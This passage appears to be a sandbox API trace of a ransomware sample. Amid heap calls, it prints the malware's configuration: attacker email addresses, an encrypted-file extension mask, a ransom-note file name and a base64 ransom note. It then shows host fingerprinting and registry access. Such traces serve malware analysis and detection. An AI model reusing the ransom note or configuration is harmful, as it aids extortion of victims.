Size=0xe4) returned 0x2f6b6f8 [0153.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f814f0 [0153.013] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6b6f8, Size=0xe8) returned 0x2f6b6f8 [0153.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f77170 [0153.013] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6b6f8, Size=0xec) returned 0x2f6b6f8 [0153.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81fd8 [0153.013] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6b6f8, Size=0xf0) returned 0x2f6b6f8 [0153.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81d78 [0153.013] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6b6f8, Size=0xf4) returned 0x2f6bff8 [0153.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f820f8 [0153.013] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6bff8, Size=0xf8) returned 0x2f6bff8 [0153.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81e98 [0153.013] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6bff8, Size=0xfc) returned 0x2f69c28 [0153.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f82078 [0153.013] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f69c28, Size=0x100) returned 0x2f69c28 [0153.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81d98 [0153.014] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f69c28, Size=0x104) returned 0x2f69c28 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81eb8 [0153.014] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f69c28, Size=0x108) returned 0x2f69c28 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81ed8 [0153.014] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f78970, Size=0x20) returned 0x2f78a88 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f82118 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4) returned 0x2f768f8 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81f38 [0153.014] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f768f8, Size=0x8) returned 0x2f76908 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f82038 [0153.014] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f76908, Size=0xc) returned 0x2f726a0 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81db8 [0153.014] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f726a0, Size=0x10) returned 0x2f725b0 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f82098 [0153.014] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f725b0, Size=0x14) returned 0x2f81fb8 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81e38 [0153.014] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f81fb8, Size=0x18) returned 0x2f82058 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81f98 [0153.014] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f82058, Size=0x1c) returned 0x2f78970 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81ef8 [0153.014] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f78970, Size=0x20) returned 0x2f78998 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81f18 [0153.014] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f78998, Size=0x24) returned 0x2f720c8 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81f58 [0153.014] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f720c8, Size=0x28) returned 0x2f71f78 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81e78 [0153.014] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71f78, Size=0x2c) returned 0x2f6bd98 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81fb8 [0153.014] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6bd98, Size=0x30) returned 0x2f6bb30 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81f78 [0153.014] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6bb30, Size=0x34) returned 0x2f801a0 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81ff8 [0153.014] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f801a0, Size=0x38) returned 0x2f80460 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81dd8 [0153.014] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f80460, Size=0x3c) returned 0x2f70108 [0153.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81df8 [0153.014] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f70108, Size=0x40) returned 0x2f701e0 [0153.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81e58 [0153.015] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f701e0, Size=0x44) returned 0x2f729d8 [0153.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f82018 [0153.015] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f729d8, Size=0x48) returned 0x2f72e38 [0153.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f82058 [0153.015] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f72e38, Size=0x4c) returned 0x2f71990 [0153.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f820b8 [0153.015] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71990, Size=0x50) returned 0x2f71990 [0153.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f820d8 [0153.015] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71990, Size=0x54) returned 0x2f71990 [0153.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81e18 [0153.015] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71990, Size=0x58) returned 0x2f71990 [0153.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81a58 [0153.015] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71990, Size=0x5c) returned 0x2f71990 [0153.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81b98 [0153.015] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71990, Size=0x60) returned 0x2f71990 [0153.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81a78 [0153.015] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71990, Size=0x64) returned 0x2f727c0 [0153.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81ad8 [0153.015] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f727c0, Size=0x68) returned 0x2f727c0 [0153.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81b38 [0153.015] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f727c0, Size=0x6c) returned 0x2f6a3e8 [0153.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81b18 [0153.015] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6a3e8, Size=0x70) returned 0x2f6a3e8 [0153.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81bf8 [0153.015] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6a3e8, Size=0x74) returned 0x2f67c30 [0153.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81bb8 [0153.015] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f67c30, Size=0x78) returned 0x2f67c30 [0153.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81a98 [0153.015] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f67c30, Size=0x7c) returned 0x2f716c0 [0153.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81ab8 [0153.015] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f716c0, Size=0x80) returned 0x2f716c0 [0153.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81cd8 [0153.015] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f716c0, Size=0x84) returned 0x2f67db0 [0153.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81c98 [0153.015] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f67db0, Size=0x88) returned 0x2f67db0 [0153.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81af8 [0153.016] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f67db0, Size=0x8c) returned 0x2f6c698 [0153.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81c38 [0153.016] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f78a88, Size=0x24) returned 0x2f71f78 [0153.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81b78 [0153.016] strtol (in: _Str="0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x2c3f874, _Radix=0 | out: _EndPtr=0x2c3f874*=",\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 0 [0153.016] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71f78, Size=0x28) returned 0x2f72098 [0153.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81bd8 [0153.016] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f72098, Size=0x2c) returned 0x2f6bd98 [0153.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f819b8 [0153.016] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6bd98, Size=0x30) returned 0x2f6bdd0 [0153.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81cf8 [0153.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4) returned 0x2f768f8 [0153.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81b58 [0153.016] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f768f8, Size=0x8) returned 0x2f76908 [0153.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81c18 [0153.016] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6bdd0, Size=0x34) returned 0x2f80460 [0153.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81d38 [0153.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f768d8) returned 1 [0153.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f77330) returned 1 [0153.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x34) returned 0x2f804e0 [0153.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x44) returned 0x2f72d48 [0153.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc4) returned 0x2f6b0c0 [0153.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f768c8) returned 1 [0153.017] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x60) returned 0x2f71990 [0153.017] GetVersion () returned 0x3ad7000a [0153.017] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x2f71998 | out: Wow64Process=0x2f71998) returned 1 [0153.019] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x21) returned 0x2f72098 [0153.020] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x384) returned 0x2f82150 [0153.020] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x0, nSize=0x2c3f82c | out: lpBuffer=0x0, nSize=0x2c3f82c) returned 0 [0153.020] GetLastError () returned 0xea [0153.020] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10) returned 0x2f72478 [0153.020] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x2f72478, nSize=0x2c3f82c | out: lpBuffer="NQDPDE", nSize=0x2c3f82c) returned 1 [0153.020] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf4) returned 0x2f6bff8 [0153.020] GetCurrentHwProfileW (in: lpHwProfileInfo=0x2f6bff8 | out: lpHwProfileInfo=0x2f6bff8) returned 1 [0153.021] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f6a3e8 [0153.021] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f78970 [0153.021] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f78970) returned 1 [0153.021] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f78970 [0153.021] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f78998 [0153.021] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f78998) returned 1 [0153.021] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x41) returned 0x2f73018 [0153.022] sprintf (in: _Dest=0x2f73018, _Format="%0.2x" | out: _Dest="d0") returned 2 [0153.022] sprintf (in: _Dest=0x2f7301a, _Format="%0.2x" | out: _Dest="e7") returned 2 [0153.022] sprintf (in: _Dest=0x2f7301c, _Format="%0.2x" | out: _Dest="31") returned 2 [0153.022] sprintf (in: _Dest=0x2f7301e, _Format="%0.2x" | out: _Dest="38") returned 2 [0153.022] sprintf (in: _Dest=0x2f73020, _Format="%0.2x" | out: _Dest="58") returned 2 [0153.022] sprintf (in: _Dest=0x2f73022, _Format="%0.2x" | out: _Dest="e3") returned 2 [0153.022] sprintf (in: _Dest=0x2f73024, _Format="%0.2x" | out: _Dest="f9") returned 2 [0153.022] sprintf (in: _Dest=0x2f73026, _Format="%0.2x" | out: _Dest="ca") returned 2 [0153.022] sprintf (in: _Dest=0x2f73028, _Format="%0.2x" | out: _Dest="57") returned 2 [0153.022] sprintf (in: _Dest=0x2f7302a, _Format="%0.2x" | out: _Dest="f4") returned 2 [0153.022] sprintf (in: _Dest=0x2f7302c, _Format="%0.2x" | out: _Dest="c7") returned 2 [0153.022] sprintf (in: _Dest=0x2f7302e, _Format="%0.2x" | out: _Dest="71") returned 2 [0153.022] sprintf (in: _Dest=0x2f73030, _Format="%0.2x" | out: _Dest="32") returned 2 [0153.022] sprintf (in: _Dest=0x2f73032, _Format="%0.2x" | out: _Dest="ee") returned 2 [0153.022] sprintf (in: _Dest=0x2f73034, _Format="%0.2x" | out: _Dest="e3") returned 2 [0153.022] sprintf (in: _Dest=0x2f73036, _Format="%0.2x" | out: _Dest="6b") returned 2 [0153.022] sprintf (in: _Dest=0x2f73038, _Format="%0.2x" | out: _Dest="0a") returned 2 [0153.022] sprintf (in: _Dest=0x2f7303a, _Format="%0.2x" | out: _Dest="6f") returned 2 [0153.022] sprintf (in: _Dest=0x2f7303c, _Format="%0.2x" | out: _Dest="d9") returned 2 [0153.022] sprintf (in: _Dest=0x2f7303e, _Format="%0.2x" | out: _Dest="79") returned 2 [0153.022] sprintf (in: _Dest=0x2f73040, _Format="%0.2x" | out: _Dest="e9") returned 2 [0153.022] sprintf (in: _Dest=0x2f73042, _Format="%0.2x" | out: _Dest="fd") returned 2 [0153.022] sprintf (in: _Dest=0x2f73044, _Format="%0.2x" | out: _Dest="e5") returned 2 [0153.022] sprintf (in: _Dest=0x2f73046, _Format="%0.2x" | out: _Dest="a7") returned 2 [0153.022] sprintf (in: _Dest=0x2f73048, _Format="%0.2x" | out: _Dest="0c") returned 2 [0153.022] sprintf (in: _Dest=0x2f7304a, _Format="%0.2x" | out: _Dest="e0") returned 2 [0153.022] sprintf (in: _Dest=0x2f7304c, _Format="%0.2x" | out: _Dest="c4") returned 2 [0153.022] sprintf (in: _Dest=0x2f7304e, _Format="%0.2x" | out: _Dest="57") returned 2 [0153.022] sprintf (in: _Dest=0x2f73050, _Format="%0.2x" | out: _Dest="db") returned 2 [0153.022] sprintf (in: _Dest=0x2f73052, _Format="%0.2x" | out: _Dest="f6") returned 2 [0153.022] sprintf (in: _Dest=0x2f73054, _Format="%0.2x" | out: _Dest="e5") returned 2 [0153.022] sprintf (in: _Dest=0x2f73056, _Format="%0.2x" | out: _Dest="45") returned 2 [0153.023] RtlInitAnsiString (in: DestinationString=0x2c3f7e8, SourceString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545" | out: DestinationString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545") [0153.023] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c3f7f0, SourceString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545", AllocateDestinationString=1 | out: DestinationString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545") returned 0x0 [0153.023] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x82) returned 0x2f82aa8 [0153.023] RtlFreeAnsiString (AnsiString="d") [0153.023] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f78970) returned 1 [0153.023] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6a3e8) returned 1 [0153.023] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6bff8) returned 1 [0153.023] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f72478) returned 1 [0153.023] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16) returned 0x2f81d58 [0153.023] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16) returned 0x2f81c58 [0153.023] wcscpy (in: _Dest=0x2f81c58, _Source="d0e7313858" | out: _Dest="d0e7313858") returned="d0e7313858" [0153.024] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x28) returned 0x2f71e28 [0153.024] wcscpy (in: _Dest=0x2f71e28, _Source="software\\" | out: _Dest="software\\") returned="software\\" [0153.024] wcscat (in: _Dest=0x2f71e28, _Source="d0e7313858" | out: _Dest="software\\d0e7313858") returned="software\\d0e7313858" [0153.024] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="software\\d0e7313858", ulOptions=0x0, samDesired=0x20119, phkResult=0x2c3f800 | out: phkResult=0x2c3f800*=0x2c0) returned 0x0 [0153.024] RegQueryValueExW (in: hKey=0x2c0, lpValueName="d0e7313858", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x2c3f7fc*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x2c3f7fc*=0x8c) returned 0x0 [0153.024] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8c) returned 0x2f6a5d0 [0153.024] RegQueryValueExW (in: hKey=0x2c0, lpValueName="d0e7313858", lpReserved=0x0, lpType=0x0, lpData=0x2f6a5d0, lpcbData=0x2c3f7fc*=0x8c | out: lpType=0x0, lpData=0x2f6a5d0*=0xb4, lpcbData=0x2c3f7fc*=0x8c) returned 0x0 [0153.024] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f78970 [0153.024] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x2f6a3e8 [0153.024] RegFlushKey (hKey=0x2c0) returned 0x0 [0163.127] RegCloseKey (hKey=0x2c0) returned 0x0 [0163.127] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f71e28) returned 1 [0163.127] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x7) returned 0x2f768c8 [0163.127] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe) returned 0x2f726b8 [0163.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x28) returned 0x2f71e28 [0163.128] strstr (_Str="{ID}-Readme.txt", _SubStr="{ID}") returned="{ID}-Readme.txt" [0163.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd) returned 0x2f72598 [0163.128] strstr (_Str="*-Readme.txt", _SubStr="{ID}") returned 0x0 [0163.128] RtlInitAnsiString (in: DestinationString=0x2c3f824, SourceString="*-Readme.txt" | out: DestinationString="*-Readme.txt") [0163.128] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c3f82c, SourceString="*-Readme.txt", AllocateDestinationString=1 | out: DestinationString="*-Readme.txt") returned 0x0 [0163.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x1a) returned 0x2f78a10 [0163.128] RtlFreeAnsiString (AnsiString="*") [0163.128] strstr (_Str=".mailto[{mail1}].{id}", _SubStr="{id}") returned="{id}" [0163.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81c78 [0163.128] strstr (_Str=".mailto[{mail1}].d0e731", _SubStr="{id}") returned 0x0 [0163.128] strstr (_Str=".mailto[{mail1}].d0e731", _SubStr="{ID}") returned 0x0 [0163.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f81cb8 [0163.128] strcpy (in: _Dest=0x2f81cb8, _Source=".mailto[{mail1}].d0e731" | out: _Dest=".mailto[{mail1}].d0e731") returned=".mailto[{mail1}].d0e731" [0163.128] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f81c78) returned 1 [0163.128] strstr (_Str=".mailto[{mail1}].d0e731", _SubStr="{mail1}") returned="{mail1}].d0e731" [0163.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x22) returned 0x2f72038 [0163.128] strstr (_Str=".mailto[kokoklock@cock.li].d0e731", _SubStr="{mail1}") returned 0x0 [0163.128] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, 